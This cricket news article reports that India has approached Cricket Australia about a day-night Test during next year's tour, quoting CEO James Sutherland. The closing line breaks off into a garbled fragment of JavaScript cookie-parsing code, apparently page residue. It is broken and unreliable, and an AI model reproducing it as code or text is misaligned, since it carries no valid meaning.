India keen to host Aussies in day-night Test

Australia could play a day-night Test on foreign soil as early as next year.

Indian authorities have reached out to Cricket Australia about the possibility of playing a day-night Test when Australia tour next year, Cricket Australia CEO James Sutherland revealed on Big Sports Breakfast Radio on Thursday.

"I think there's certainly some positive signals coming out of India and other parts of the world (regarding day-night Tests)," Sutherland said.

"Indicatively they've started talking to us about the prospect of playing a day-night Test match against Australia when Australia tours in February and March of next year.

"That's just a pretty strong indicator of where things are at.

"When you look at the big picture it's probably not surprising because day-night Test cricket is just a no-brainer really, giving more opportunities for fans to get along to the cricket and watch it on TV."

Australia will likely play a four Test series against India early next year. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
